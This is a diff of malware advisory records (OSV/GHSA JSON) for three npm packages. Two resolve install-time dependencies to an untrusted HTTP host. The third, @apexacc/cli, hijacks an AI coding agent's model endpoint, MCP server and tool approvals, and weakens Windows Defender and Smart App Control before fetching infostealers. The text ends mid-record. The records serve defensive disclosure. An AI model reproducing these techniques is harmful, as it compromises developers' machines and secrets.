+++ b/data/npm/MAL-2026-14473.json
@@ -1 +1 @@
-{"schema_version":"1.9.0","id":"MAL-2026-14473","published":"2026-08-25T06:41:07Z","modified":"2026-08-25T23:49:14.976899962Z","summary":"Malicious code in css-import-order (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a190c01197be10bae5104dd08b8cb119ff1460eaa0c816bc0eb74da8a4b88ae4)\npackage.json declares the package's own name `css-import-order` as both a dependency and devDependency pointing at `http://pack.nppacks.com/npm/css-import-order` — a non-registry, plain-HTTP, unpinned URL under a domain unrelated to the npm publisher. On `npm install`, npm resolves and unpacks whatever tarball that host returns, executing any lifecycle scripts it contains. Because the source is not the npm registry, there is no integrity or version pinning, and the plain-HTTP transport additionally allows on-path substitution of the served bytes. The shipped index.js is a small benign transformer and carries a header comment reading `This package use for Security Research Testing Purpose.`, but the harmful vector is the install-time resolution to attacker-mutable content at pack.nppacks.com, not the local module code.\n","affected":[{"package":{"name":"css-import-order","ecosystem":"npm","purl":"pkg:npm/css-import-order"},"versions":["1.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"790d66d817786f03157052455eb2da9603154bb56e425540c3374cba0168d70e","tlsh":"95f04c65df20ea2344c875531d574813b23059870728fd0832d71b6c0b4c17728f829d"},{"path":"index.js","sha256":"f2fcebdb4f0e41365a39ca87a52fcc4e6abd5633fe6272e60d1386d26b90ef41","tlsh":"71a1935ab5e0159745aa22e5b3ce48b577bd80b3330df5a0b54cbf563f40c348a1aed1"}],"package_integrity":[{"filename":"css-import-order-1.1.0.tgz","hashes":{"sha1":"3a09d3b4a582170bcde7538d3e980c4a8de4d1a5","sha512_sri":"sha512-NCcYjT+1y3hNg6Anq6IkTPvnfnyCcnXLYycKju8Bs0ocnSGj7YhG8oqgEnSWT92+88PCo8KE9pPlPGMrmjxqHg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-import-order/MAL-2026-14473.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-import-order/v/1.1.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018687","import_time":"2026-08-25T06:50:12.618751863Z","modified_time":"2026-08-25T06:41:07Z","sha256":"a190c01197be10bae5104dd08b8cb119ff1460eaa0c816bc0eb74da8a4b88ae4","source":"amazon-inspector","versions":["1.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-14473","published":"2026-08-25T06:41:07Z","modified":"2026-11-10T23:30:03.300237598Z","aliases":["GHSA-wc5q-g53w-pg32"],"summary":"Malicious code in css-import-order (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a190c01197be10bae5104dd08b8cb119ff1460eaa0c816bc0eb74da8a4b88ae4)\npackage.json declares the package's own name `css-import-order` as both a dependency and devDependency pointing at `http://pack.nppacks.com/npm/css-import-order` — a non-registry, plain-HTTP, unpinned URL under a domain unrelated to the npm publisher. On `npm install`, npm resolves and unpacks whatever tarball that host returns, executing any lifecycle scripts it contains. Because the source is not the npm registry, there is no integrity or version pinning, and the plain-HTTP transport additionally allows on-path substitution of the served bytes. The shipped index.js is a small benign transformer and carries a header comment reading `This package use for Security Research Testing Purpose.`, but the harmful vector is the install-time resolution to attacker-mutable content at pack.nppacks.com, not the local module code.\n\n## Source: ghsa-malware (6c2915b485aa515505c532c5c5f456f1129ddf07ef25e014b7dae81bb15357f6)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"css-import-order","ecosystem":"npm","purl":"pkg:npm/css-import-order"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"790d66d817786f03157052455eb2da9603154bb56e425540c3374cba0168d70e","tlsh":"95f04c65df20ea2344c875531d574813b23059870728fd0832d71b6c0b4c17728f829d"},{"path":"index.js","sha256":"f2fcebdb4f0e41365a39ca87a52fcc4e6abd5633fe6272e60d1386d26b90ef41","tlsh":"71a1935ab5e0159745aa22e5b3ce48b577bd80b3330df5a0b54cbf563f40c348a1aed1"}],"package_integrity":[{"filename":"css-import-order-1.1.0.tgz","hashes":{"sha1":"3a09d3b4a582170bcde7538d3e980c4a8de4d1a5","sha512_sri":"sha512-NCcYjT+1y3hNg6Anq6IkTPvnfnyCcnXLYycKju8Bs0ocnSGj7YhG8oqgEnSWT92+88PCo8KE9pPlPGMrmjxqHg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-import-order/MAL-2026-14473.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-import-order/v/1.1.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wc5q-g53w-pg32"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018687","import_time":"2026-08-25T06:50:12.618751863Z","modified_time":"2026-08-25T06:41:07Z","sha256":"a190c01197be10bae5104dd08b8cb119ff1460eaa0c816bc0eb74da8a4b88ae4","source":"amazon-inspector","versions":["1.1.0"]},{"id":"GHSA-wc5q-g53w-pg32","import_time":"2026-11-10T23:17:30.219700604Z","modified_time":"2026-11-10T22:21:24Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"6c2915b485aa515505c532c5c5f456f1129ddf07ef25e014b7dae81bb15357f6","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-14483.json b/data/npm/MAL-2026-14483.json
index fc9e3c3ca3..6c32c86004 100644
--- a/data/npm/MAL-2026-14483.json
+++ b/data/npm/MAL-2026-14483.json
@@ -1 +1 @@
-{"schema_version":"1.9.0","id":"MAL-2026-14483","published":"2026-08-25T08:40:02Z","modified":"2026-08-25T23:49:44.367550212Z","summary":"Malicious code in modules-newline (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (4c5565e7fd7984da26242b79340fb41f4f4595fdd5fbeb929ff5dfca5b13cc1a)\npackage.json declares the package's own name, modules-newline, as both a dependency and devDependency pointing to http://pack.nppacks.com/npm/modules-newline instead of the npm registry. On npm install, npm fetches and installs whatever tarball is currently served from that URL, bypassing registry auditing. The URL is plain HTTP (subject to MITM substitution), unpinned (no tag, commit, or integrity hash), and hosted on a non-publisher domain unrelated to npm. Any project that installs this package, directly or transitively, executes code delivered from that external endpoint at install time, including any lifecycle scripts inside the fetched tarball. The shipped index.js is a near-verbatim copy of babel-plugin-transform-define preceded by a comment stating 'This package use for Security Research Testing Purpose.', and the package name does not correspond to the copied plugin's function.\n","affected":[{"package":{"name":"modules-newline","ecosystem":"npm","purl":"pkg:npm/modules-newline"},"versions":["0.0.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"6d5fa1e1adbecdc905b1782f464206a459372264cf5257eed8aa7acbbe6a2def","tlsh":"6ef02808ca72b9a346d83554b96602836e5159874818bd1872cf1e2c0bcd8bb30f415e"},{"path":"index.js","sha256":"f2fcebdb4f0e41365a39ca87a52fcc4e6abd5633fe6272e60d1386d26b90ef41","tlsh":"71a1935ab5e0159745aa22e5b3ce48b577bd80b3330df5a0b54cbf563f40c348a1aed1"}],"package_integrity":[{"filename":"modules-newline-0.0.6.tgz","hashes":{"sha1":"c3ec8c0ba2156289e3ff37dbb0f3b84d0409361a","sha512_sri":"sha512-srdlkwQ6Tk3mAUjcftujyA29qRZNLTeYwQOtgfH+8OQleIQYtAnyfpSY6dgPyCjUDsPzMK26UPsqxlsQpcEbVg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/modules-newline/MAL-2026-14483.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/modules-newline/v/0.0.6"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018735","import_time":"2026-08-25T08:49:18.267158287Z","modified_time":"2026-08-25T08:40:02Z","sha256":"4c5565e7fd7984da26242b79340fb41f4f4595fdd5fbeb929ff5dfca5b13cc1a","source":"amazon-inspector","versions":["0.0.6"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-14483","published":"2026-08-25T08:40:02Z","modified":"2026-11-10T23:30:04.125278885Z","aliases":["GHSA-5hjr-7qfq-x5m5"],"summary":"Malicious code in modules-newline (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (4c5565e7fd7984da26242b79340fb41f4f4595fdd5fbeb929ff5dfca5b13cc1a)\npackage.json declares the package's own name, modules-newline, as both a dependency and devDependency pointing to http://pack.nppacks.com/npm/modules-newline instead of the npm registry. On npm install, npm fetches and installs whatever tarball is currently served from that URL, bypassing registry auditing. The URL is plain HTTP (subject to MITM substitution), unpinned (no tag, commit, or integrity hash), and hosted on a non-publisher domain unrelated to npm. Any project that installs this package, directly or transitively, executes code delivered from that external endpoint at install time, including any lifecycle scripts inside the fetched tarball. The shipped index.js is a near-verbatim copy of babel-plugin-transform-define preceded by a comment stating 'This package use for Security Research Testing Purpose.', and the package name does not correspond to the copied plugin's function.\n\n## Source: ghsa-malware (24f31121cb1502118185811b8789ced462350675da336fc0407ec380f6d4209c)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"modules-newline","ecosystem":"npm","purl":"pkg:npm/modules-newline"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"6d5fa1e1adbecdc905b1782f464206a459372264cf5257eed8aa7acbbe6a2def","tlsh":"6ef02808ca72b9a346d83554b96602836e5159874818bd1872cf1e2c0bcd8bb30f415e"},{"path":"index.js","sha256":"f2fcebdb4f0e41365a39ca87a52fcc4e6abd5633fe6272e60d1386d26b90ef41","tlsh":"71a1935ab5e0159745aa22e5b3ce48b577bd80b3330df5a0b54cbf563f40c348a1aed1"}],"package_integrity":[{"filename":"modules-newline-0.0.6.tgz","hashes":{"sha1":"c3ec8c0ba2156289e3ff37dbb0f3b84d0409361a","sha512_sri":"sha512-srdlkwQ6Tk3mAUjcftujyA29qRZNLTeYwQOtgfH+8OQleIQYtAnyfpSY6dgPyCjUDsPzMK26UPsqxlsQpcEbVg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/modules-newline/MAL-2026-14483.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/modules-newline/v/0.0.6"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5hjr-7qfq-x5m5"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018735","import_time":"2026-08-25T08:49:18.267158287Z","modified_time":"2026-08-25T08:40:02Z","sha256":"4c5565e7fd7984da26242b79340fb41f4f4595fdd5fbeb929ff5dfca5b13cc1a","source":"amazon-inspector","versions":["0.0.6"]},{"id":"GHSA-5hjr-7qfq-x5m5","import_time":"2026-11-10T23:17:30.176531453Z","modified_time":"2026-11-10T22:21:24Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"24f31121cb1502118185811b8789ced462350675da336fc0407ec380f6d4209c","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-17924.json b/data/npm/MAL-2026-17924.json
index 685163c300..4dc2d8c8ac 100644
--- a/data/npm/MAL-2026-17924.json
+++ b/data/npm/MAL-2026-17924.json
@@ -1 +1 @@
-{"schema_version":"1.9.0","id":"MAL-2026-17924","published":"2026-10-26T05:25:19Z","modified":"2026-10-26T06:00:04.219034929Z","summary":"Malicious code in @apexacc/cli (npm)","details":"@apexacc/cli is distributed by \"Apex Accelerator\" (Apex Arena), a fake Web3 accelerator that lures crypto founders with free AI credits and audits. Elastic Security Labs (REF8801, published 2026-10-12) found it is a repackaged Oh My Pi coding agent (1,351 of 1,363 files identical) with malicious additions that hijack the developer's AI coding agent: it overwrites OPENROUTER_BASE_URL so model traffic (prompts, files read, tool results) goes to attacker infrastructure at arena.apexaccs.org; persists an attacker-controlled remote MCP server in ~/.apex/agent/mcp.json; and defaults tool approval to \"yolo\". A bootstrap retrieves commands from vrf.apexaccs.org: on macOS it drops CloudSyncD (fake password prompt, credential theft, C2 ccmihr.com); on Windows a staged loader chain ends in an infostealer that exfiltrates browser credentials, wallets, messengers, VPN clients and Claude/Cursor/Windsurf configs over Telegram. Elastic analyzed version 1.6.1 and traced the bootstrap to the earliest preserved version (script host arenapex.cloud). The package was still live on npm (latest 1.6.2) with no OSV record as of 2026-10-16. Independently confirmed by static inspection of the live 1.6.2 npm tarball (sha256 7ca5e3908dd8721d0cf6af2488f0825c0d91a5e0b7c8529ef830141a4a3ba31f) on 2026-10-16, without execution: the bin launcher apex.cjs (sha256 4029192a44ee738deba9aa53b57550075cb8fd170a63f0636dea5452256f2175) runs when the user invokes the CLI (no install script). On Windows it sets the current user's PowerShell execution policy to RemoteSigned (no elevation needed), and on Windows 11 it launches a hidden, elevated (UAC RunAs) PowerShell that attempts to add a Defender exclusion for ~/.apex and to set HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy VerifiedAndReputablePolicyState=0 (disabling Smart App Control). From 1.5.122 (2026-09-17) through 1.6.2 those two commands are built in a JavaScript template literal with single backslashes, so the shipped paths are mangled (the exclusion lands on a sibling path '<home>.apex' and the registry key is invalid) and both likely fail; the UAC prompt still appears. Versions 1.5.120 (registry change) and 1.5.121 (adds the Defender exclusion), both 2026-09-17, carried correctly escaped versions of these commands without an elevation prompt, effective only when already running as administrator. The execution-policy change first appears in 1.6.2. It then downloads a ~114MB native binary from GitHub releases of apexaccs/copilot into ~/.apex/bin, and on macOS an additional apex-verify-darwin helper. Both GitHub repositories referenced by the package versions (apexaccs/copilot, Apex-Accelerator/apexcli) return 404 as of 2026-10-16. All versions affected. Indicators from Elastic's report.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c174007782646e1fdfd9806ecd699e427fd36661dd7137fa462672f41aee6e79)\nOn CLI startup (invoked via npx per the package README), apex.cjs unconditionally detects Windows 11 and launches a hidden, UAC-elevated PowerShell via Start-Process -Verb RunAs -WindowStyle Hidden with a UTF-16LE base64 -EncodedCommand payload. The elevated payload (a) calls Add-MpPreference -ExclusionPath on %USERPROFILE%\\.apex to whitelist the package directory in Windows Defender, and (b) writes HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy VerifiedAndReputablePolicyState=0 via reg add, disabling Smart App Control / Code Integrity enforcement machine-wide. The elevation path uses underscore-prefixed identifiers (_ps, _enc, _sp, _osv, _isWin11, _home), a hidden window, base64 command encoding, and a broad try/catch that silently swallows errors. After weakening the host, the CLI downloads a ~105MB apex-<platform>.exe (and an optional native.node addon) from the publisher's GitHub Releases with no hash or signature verification, chmods 0755, and executes it via spawnSync with inherited stdio and the full process.env. The security-policy downgrade is not consistent with any documented function of an AI CLI and converts an otherwise routine publisher-pinned binary fetch into execution of unverified code under a machine-wide-weakened Windows security posture.\n","affected":[{"package":{"name":"@apexacc/cli","ecosystem":"npm","purl":"pkg:npm/%40apexacc/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.5.121","1.6.0","1.6.2","1.5.122"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"apex.cjs","sha256":"6af132fdb24feb1efe781a90e4ee3229a98a7a0f9a152f700890622064f67bbc","tlsh":"cd8183c507f4a3644b916099d18f252bb96ba0237104d9c4bd2c9758fb936748337dfb"}],"package_integrity":[{"filename":"cli-1.5.121.tgz","hashes":{"sha1":"c7ee06fd17b919926d785b8beef88e8677debb65","sha512_sri":"sha512-1tvCMWzOCxCx/bqHCEphYWCF56YhIGRtiOk15IBixMyvhOGfm1lSFm3TdPlhEwgLy+ez0WwdOXMGx5ej1U+NIw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@apexacc/cli/MAL-2026-17924.json"}}],"references":[{"type":"REPORT","url":"https://www.elastic.co/security-labs/threat-command/apex-accelerator-malicious-npm-packages"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.5.121"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.6.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.6.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.5.122"}],"database_specific":{"iocs":{"domains":["apexaccs.org","arena.apexaccs.org","token.apexaccs.org","vrf.apexaccs.org","arena.apexfdn.xyz","verify.apexfdn.xyz","ccmihr.com","0auth-chromium.com","ehegisnightmare.icu","arenapex.cloud","cloudmain365duo.top","fdn4apex.com","main.router-apex.com","update.apex-arena-router.com"],"files":[{"digests":{"sha256":"4029192a44ee738deba9aa53b57550075cb8fd170a63f0636dea5452256f2175"},"note":"bin launcher in the 1.6.2 npm tarball: elevated Defender exclusion, Smart App Control disable, binary download (DugganUSA static inspection 2026-10-16)","paths":["package/apex.cjs"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"985829083f3937df6c82419216f7697afae0caac8efca6257a756066fe2c0abb"},"note":"Windows Bun executable containing the coding agent and verification bootstrap (Elastic Security Labs REF8801)","paths":["apex-windows-x64.exe"],"source":"DROPPED"},{"digests":{"sha256":"42a760b15fea7c9af718ee45386c1c3ea1bec9e30c95d16c287bcc8b2efdc72e"},"note":"macOS ARM64 Bun executable (Elastic Security Labs REF8801)","paths":["apex-darwin-arm64"],"source":"DROPPED"},{"digests":{"sha256":"127ae4cad80b6605157ca2a1feada8a235e16aacc5d2119337a98115a4e13274"},"note":"macOS Rust executable that retrieves and launches verification commands (Elastic Security Labs REF8801)","paths":["apex-verify-darwin"],"source":"DROPPED"},{"digests":{"sha256":"68f5a00eafa8ecebf5d93328e0fec23b24d6f91808c8384db002946a13656c71"},"note":"CloudSyncD macOS dropper (Elastic Security Labs REF8801)","paths":["installer"],"source":"DROPPED"},{"digests":{"sha256":"ee8cd9aba420f1b26b5d43e5bcdd6025a277b4946bb5daf76ab45c0e5f7ecd0b"},"note":"Python second-stage loader (Elastic Security Labs REF8801)","paths":["exegis.exe"],"source":"DROPPED"},{"digests":{"sha256":"ed5cb4af1d2cb067b8d23783ebf05d70278728462ba4f1bf29da0a3a41efc35e"},"note":"Encrypted third stage, decrypted by the second-stage Python loader (Elastic Security Labs REF8801)","paths":["enc_loader.exe"],"source":"DROPPED"}]},"malicious-packages-origins":[{"id":"IN-MAL-2026-021714","import_time":"2026-10-26T05:46:51.924994062Z","modified_time":"2026-10-26T05:25:44Z","sha256":"220b2bfd948cbd511add6ba3b2a2ea467defeb99a6855ed9ee0690891cedee5d","source":"amazon-inspector","versions":["1.5.121"]},{"id":"IN-MAL-2026-021711","import_time":"2026-10-26T05:46:51.792226934Z","modified_time":"2026-10-26T05:25:19Z","sha256":"3af6be5dcde1648332ab0eb8b252bb90e33bc2b39452e5b83042b0481bfed5ed","source":"amazon-inspector","versions":["1.6.0"]},{"id":"IN-MAL-2026-021712","import_time":"2026-10-26T05:46:51.826689409Z","modified_time":"2026-10-26T05:25:29Z","sha256":"42f41fbd2bc4a7faba3977f190eb65c22f835f8a3b073be64d0d9c0c95a9c747","source":"amazon-inspector","versions":["1.6.2"]},{"id":"IN-MAL-2026-021713","import_time":"2026-10-26T05:46:51.870027938Z","modified_time":"2026-10-26T05:25:36Z","sha256":"c174007782646e1fdfd9806ecd699e427fd36661dd7137fa462672f41aee6e79","source":"amazon-inspector","versions":["1.5.122"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Elastic Security Labs (Jia Yu Chan, Daniel Stepanic)","contact":["https://www.elastic.co/security-labs/threat-command/apex-accelerator-malicious-npm-packages"],"type":"FINDER"},{"name":"Patrick Duggan, DugganUSA","contact":["mailto:patrick@dugganusa.com"],"type":"REPORTER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-17924","published":"2026-10-26T05:25:19Z","modified":"2026-11-10T23:30:03.357583401Z","aliases":["GHSA-pg98-9cmp-wcf5"],"summary":"Malicious code in @apexacc/cli (npm)","details":"@apexacc/cli is distributed by \"Apex Accelerator\" (Apex Arena), a fake Web3 accelerator that lures crypto founders with free AI credits and audits. Elastic Security Labs (REF8801, published 2026-10-12) found it is a repackaged Oh My Pi coding agent (1,351 of 1,363 files identical) with malicious additions that hijack the developer's AI coding agent: it overwrites OPENROUTER_BASE_URL so model traffic (prompts, files read, tool results) goes to attacker infrastructure at arena.apexaccs.org; persists an attacker-controlled remote MCP server in ~/.apex/agent/mcp.json; and defaults tool approval to \"yolo\". A bootstrap retrieves commands from vrf.apexaccs.org: on macOS it drops CloudSyncD (fake password prompt, credential theft, C2 ccmihr.com); on Windows a staged loader chain ends in an infostealer that exfiltrates browser credentials, wallets, messengers, VPN clients and Claude/Cursor/Windsurf configs over Telegram. Elastic analyzed version 1.6.1 and traced the bootstrap to the earliest preserved version (script host arenapex.cloud). The package was still live on npm (latest 1.6.2) with no OSV record as of 2026-10-16. Independently confirmed by static inspection of the live 1.6.2 npm tarball (sha256 7ca5e3908dd8721d0cf6af2488f0825c0d91a5e0b7c8529ef830141a4a3ba31f) on 2026-10-16, without execution: the bin launcher apex.cjs (sha256 4029192a44ee738deba9aa53b57550075cb8fd170a63f0636dea5452256f2175) runs when the user invokes the CLI (no install script). On Windows it sets the current user's PowerShell execution policy to RemoteSigned (no elevation needed), and on Windows 11 it launches a hidden, elevated (UAC RunAs) PowerShell that attempts to add a Defender exclusion for ~/.apex and to set HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy VerifiedAndReputablePolicyState=0 (disabling Smart App Control). From 1.5.122 (2026-09-17) through 1.6.2 those two commands are built in a JavaScript template literal with single backslashes, so the shipped paths are mangled (the exclusion lands on a sibling path '<home>.apex' and the registry key is invalid) and both likely fail; the UAC prompt still appears. Versions 1.5.120 (registry change) and 1.5.121 (adds the Defender exclusion), both 2026-09-17, carried correctly escaped versions of these commands without an elevation prompt, effective only when already running as administrator. The execution-policy change first appears in 1.6.2. It then downloads a ~114MB native binary from GitHub releases of apexaccs/copilot into ~/.apex/bin, and on macOS an additional apex-verify-darwin helper. Both GitHub repositories referenced by the package versions (apexaccs/copilot, Apex-Accelerator/apexcli) return 404 as of 2026-10-16. All versions affected. Indicators from Elastic's report.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c174007782646e1fdfd9806ecd699e427fd36661dd7137fa462672f41aee6e79)\nOn CLI startup (invoked via npx per the package README), apex.cjs unconditionally detects Windows 11 and launches a hidden, UAC-elevated PowerShell via Start-Process -Verb RunAs -WindowStyle Hidden with a UTF-16LE base64 -EncodedCommand payload. The elevated payload (a) calls Add-MpPreference -ExclusionPath on %USERPROFILE%\\.apex to whitelist the package directory in Windows Defender, and (b) writes HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy VerifiedAndReputablePolicyState=0 via reg add, disabling Smart App Control / Code Integrity enforcement machine-wide. The elevation path uses underscore-prefixed identifiers (_ps, _enc, _sp, _osv, _isWin11, _home), a hidden window, base64 command encoding, and a broad try/catch that silently swallows errors. After weakening the host, the CLI downloads a ~105MB apex-<platform>.exe (and an optional native.node addon) from the publisher's GitHub Releases with no hash or signature verification, chmods 0755, and executes it via spawnSync with inherited stdio and the full process.env. The security-policy downgrade is not consistent with any documented function of an AI CLI and converts an otherwise routine publisher-pinned binary fetch into execution of unverified code under a machine-wide-weakened Windows security posture.\n\n## Source: ghsa-malware (c543d5d4151098f75eb872d9a89e85cb07bc9fd252b5daf80e0858eb18ee3c27)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@apexacc/cli","ecosystem":"npm","purl":"pkg:npm/%40apexacc/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.5.121","1.6.0","1.6.2","1.5.122"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"apex.cjs","sha256":"6af132fdb24feb1efe781a90e4ee3229a98a7a0f9a152f700890622064f67bbc","tlsh":"cd8183c507f4a3644b916099d18f252bb96ba0237104d9c4bd2c9758fb936748337dfb"}],"package_integrity":[{"filename":"cli-1.5.121.tgz","hashes":{"sha1":"c7ee06fd17b919926d785b8beef88e8677debb65","sha512_sri":"sha512-1tvCMWzOCxCx/bqHCEphYWCF56YhIGRtiOk15IBixMyvhOGfm1lSFm3TdPlhEwgLy+ez0WwdOXMGx5ej1U+NIw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@apexacc/cli/MAL-2026-17924.json"}}],"references":[{"type":"REPORT","url":"https://www.elastic.co/security-labs/threat-command/apex-accelerator-malicious-npm-packages"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.5.121"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.6.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.6.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@apexacc/cli/v/1.5.122"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pg98-9cmp-wcf5"}],"database_specific":{"iocs":{"domains":["apexaccs.org","arena.apexaccs.org","token.apexaccs.org","vrf.apexaccs.org","arena.apexfdn.xyz","verify.apexfdn.xyz","ccmihr.com","0auth-chromium.com","ehegisnightmare.icu","arenapex.cloud","cloudmain365duo.top","fdn4apex.com","main.router-apex.com","update.apex-arena-router.com"],"files":[{"digests":{"sha256":"4029192a44ee738deba9aa53b57550075cb8fd170a63f0636dea5452256f2175"},"note":"bin launcher in the 1.6.2 npm tarball: elevated Defender exclusion, Smart App Control disable, binary download (DugganUSA static inspection 2026-10-16)","paths":["package/apex.cjs"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"985829083f3937df6c82419216f7697afae0caac8efca6257a756066fe2c0abb"},"note":"Windows Bun executable containing the coding agent and verification bootstrap (Elastic Security Labs REF8801)","paths":["apex-windows-x64.exe"],"source":"DROPPED"},{"digests":{"sha256":"42a760b15fea7c9af718ee45386c1c3ea1bec9e30c95d16c287bcc8b2efdc72e"},"note":"macOS ARM64 Bun executable (Elastic Security Labs REF8801)","paths":["apex-darwin-arm64"],"source":"DROPPED"},{"digests":{"sha256":"127ae4cad80b6605157ca2a1feada8a235e16aacc5d2119337a98115a4e13274"},"note":"macOS Rust executable that retrieves and launches verification commands (Elastic Security Labs REF8801)","paths":["apex-verify-darwin"],"source":"DROPPED"},{"digests":{"sha256":"68f5a00eafa8ecebf5d93328e0fec23b24d6f91808c8384db002946a13656c71"},"note":"CloudSyncD macOS dropper (Elastic Security Labs REF8801)","paths":["installer"],"source":"DROPPED"},{"digests":{"sha256":"ee8cd9aba420f1b26b5d43e5bcdd6025a277b4946bb5daf76ab45c0e5f7ecd0b"},"note":"Python second-stage loader (Elastic Security Labs 